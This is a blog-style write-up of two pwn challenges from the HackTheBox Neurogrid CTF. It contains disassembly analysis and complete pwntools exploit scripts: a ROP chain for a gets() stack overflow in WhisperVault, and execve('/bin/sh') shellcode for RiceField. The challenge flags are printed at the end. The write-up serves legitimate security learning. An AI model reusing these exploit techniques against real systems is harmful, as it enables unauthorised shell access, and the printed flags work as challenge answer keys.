PwnNeurogrid 2025·

Neurogrid CTF: Human-Only 2025 | Pwn

Pwn challenges from Neurogrid CTF: Human-Only 2025

easy HackTheBox Neurogrid CTF Pwn Buffer Overflow
5 min reading · edit 2025-11-28

Neurogrid CTF: Human-Only 2025 was a 4-day CTF hosted by HackTheBox. I competed solo and finished in the top 4 out of 1,337 players. This post covers the Pwn challenges.

Neurogrid CTF: Human-Only 2025

Team Solves Progress


WhisperVault [easy]

Description: Beneath the shrine’s floorboards lies a small wooden vault, sealed in dust and silence. When opened, it reveals only a single strip of rice paper and a faint scent of incense. It does not ask for gold, or oaths—only a name. Whisper one, and the vault will listen. But be warned: once a name is spoken here, it never truly leaves.

Points: 975 | Difficulty: Easy

Analysis

A 64-bit statically linked ELF binary that displays ASCII art of a vault and prompts for input. Running it shows:

1The Whisper Vault
2>

Looking at the disassembly of main at 0x401873:

 10000000000401873 <main>:
 2  401877:   push   %rbp
 3  401878:   mov    %rsp,%rbp
 4  40187b:   sub    $0x400,%rsp           # 1024-byte buffer
 5  ...
 6  4018a0:   lea    -0x400(%rbp),%rax     # Buffer at rbp-0x400
 7  4018a7:   mov    %rax,%rdi
 8  4018af:   call   4121e0 <_IO_gets>     # gets() - no bounds check
 9  ...
10  4018e6:   leave
11  4018e7:   ret

The vulnerability is straightforward - gets() reads into a 1024-byte buffer with no size limit. The buffer is at rbp-0x400, so we need 1024 bytes to fill the buffer plus 8 bytes for the saved RBP, giving us an offset of 1032 bytes to overwrite the return address.

Since the binary is statically linked, we have plenty of ROP gadgets available. The goal is to call execve("/bin/sh", NULL, NULL) using syscall 59.

Exploitation

The ROP chain needs to:

  1. Write /bin//sh string to the .data section (at 0x4c50e0)
  2. Set up registers: rdi = pointer to string, rsi = NULL, rdx = NULL
  3. Set rax to 59 and execute syscall
 1#!/usr/bin/env python3
 2from pwn import *
 3
 4context.arch = 'amd64'
 5
 6offset = 1032
 7
 8def get_rop_chain():
 9    rop = b''
10    # Write "/bin//sh" to .data
11    rop += p64(0x0000000000409ffe)  # pop rsi ; ret
12    rop += p64(0x00000000004c50e0)  # @ .data
13    rop += p64(0x0000000000450107)  # pop rax ; ret
14    rop += b'/bin//sh'
15    rop += p64(0x0000000000452875)  # mov qword ptr [rsi], rax ; ret
16
17    # Write NULL terminator
18    rop += p64(0x0000000000409ffe)  # pop rsi ; ret
19    rop += p64(0x00000000004c50e8)  # @ .data + 8
20    rop += p64(0x000000000043ee79)  # xor rax, rax ; ret
21    rop += p64(0x0000000000452875)  # mov qword ptr [rsi], rax ; ret
22
23    # Set up execve arguments
24    rop += p64(0x0000000000401f8f)  # pop rdi ; ret
25    rop += p64(0x00000000004c50e0)  # @ .data ("/bin//sh")
26    rop += p64(0x0000000000409ffe)  # pop rsi ; ret
27    rop += p64(0x00000000004c50e8)  # @ .data + 8 (NULL)
28    rop += p64(0x0000000000485e6b)  # pop rdx ; pop rbx ; ret
29    rop += p64(0x00000000004c50e8)  # @ .data + 8 (NULL)
30    rop += p64(0x4141414141414141)  # padding for rbx
31
32    # Set rax to 59 (execve syscall number)
33    rop += p64(0x000000000043ee79)  # xor rax, rax ; ret
34    for _ in range(59):
35        rop += p64(0x0000000000478530)  # add rax, 1 ; ret
36
37    rop += p64(0x0000000000401d44)  # syscall
38    return rop
39
40def exploit(target):
41    if target == 'local':
42        p = process('./whisper_vault')
43    else:
44        p = remote('94.237.59.242', 31649)
45
46    payload = b'A' * offset + get_rop_chain()
47
48    p.recvuntil(b'>')
49    p.sendline(payload)
50    p.interactive()
51
52if __name__ == '__main__':
53    import sys
54    target = sys.argv[1] if len(sys.argv) > 1 else 'local'
55    exploit(target)

The 59 add rax, 1 gadgets are verbose but reliable - finding a single mov rax, 59 or pop rax with controlled value would be cleaner but this works.

Flag

Flag: HTB{0nly_s1l3nc3_kn0ws_th3_n4m3_48c74cd21cbbc22de18f431344d4a923}


RiceField [very easy]

Description: Takashi, the fearless blade of the East, weary from countless battles, now seeks not war—but warmth. His body aches, his spirit hungers. Upon the road, he discovers a sacred haven: the legendary Rice Field Restaurant, known across the land for its peerless grains. But here, the rice is not served—it is earned. Guide Takashi as he prepares his own perfect bowl, to restore his strength and walk the path once more.

Points: 975 | Difficulty: Very Easy

Analysis

A PIE-enabled 64-bit binary presenting a menu:

11. Collect Rice
22. Cook Rice
33. Quit

The collect_rice function increments a global counter, and cook_rice is where the interesting behavior happens. Looking at the disassembly:

 1cook_rice:
 2    # Allocate heap buffer based on rice count
 3    mov    0x25eb(%rip),%eax    # load rice count
 4    call   calloc@plt
 5
 6    # Allocate EXECUTABLE memory via mmap
 7    mov    $0x7,%edx            # PROT_READ|PROT_WRITE|PROT_EXEC
 8    mov    $0x22,%ecx           # MAP_PRIVATE|MAP_ANONYMOUS
 9    call   mmap@plt
10
11    # Read user input into heap buffer
12    call   read@plt
13
14    # Copy to executable region
15    call   memcpy@plt
16
17    # Execute!
18    call   *%rdx                # indirect call to our shellcode

This is an intentional shellcode execution challenge. The program allocates RWX memory, reads user input, copies it there, and jumps to it. The only constraint is the rice counter which starts at 10 and maxes out at 26.

Exploitation

A 26-byte execve("/bin/sh") shellcode fits perfectly:

 1#!/usr/bin/env python3
 2from pwn import *
 3
 4HOST = '83.136.253.132'
 5PORT = 46451
 6
 7MENU_PROMPT = b'\xef\xbc\x9e '   # Full-width ">>"
 8PERCENT_PROMPT = b'\xef\xbc\x85 '  # Full-width "%"
 9DEFAULT_RICE = 10
10
11context.arch = 'amd64'
12
13shellcode = asm('''
14    xor esi, esi
15    xor edx, edx
16    push 0
17    mov rbx, 0x68732f2f6e69622f
18    push rbx
19    mov rdi, rsp
20    push 0x3b
21    pop rax
22    syscall
23''')
24
25def exploit():
26    if args.LOCAL:
27        p = process('./rice_field')
28    else:
29        p = remote(HOST, PORT)
30
31    # Collect rice to reach shellcode size
32    rice_needed = len(shellcode) - DEFAULT_RICE
33    p.recvuntil(MENU_PROMPT)
34    p.sendline(b'1')
35    p.recvuntil(PERCENT_PROMPT)
36    p.sendline(str(rice_needed).encode())
37
38    # Cook rice - triggers shellcode execution
39    p.recvuntil(MENU_PROMPT)
40    p.sendline(b'2')
41    p.recvuntil(PERCENT_PROMPT)
42    p.send(shellcode)
43
44    p.interactive()
45
46if __name__ == '__main__':
47    exploit()

The full-width Unicode prompts are a minor obstacle - the program uses Japanese-style formatting characters instead of standard ASCII.

Flag

Flag: HTB{~Gohan_to_flag_o_tanoshinde_ne~_c850535e925b144c7f3ce313c52841dd}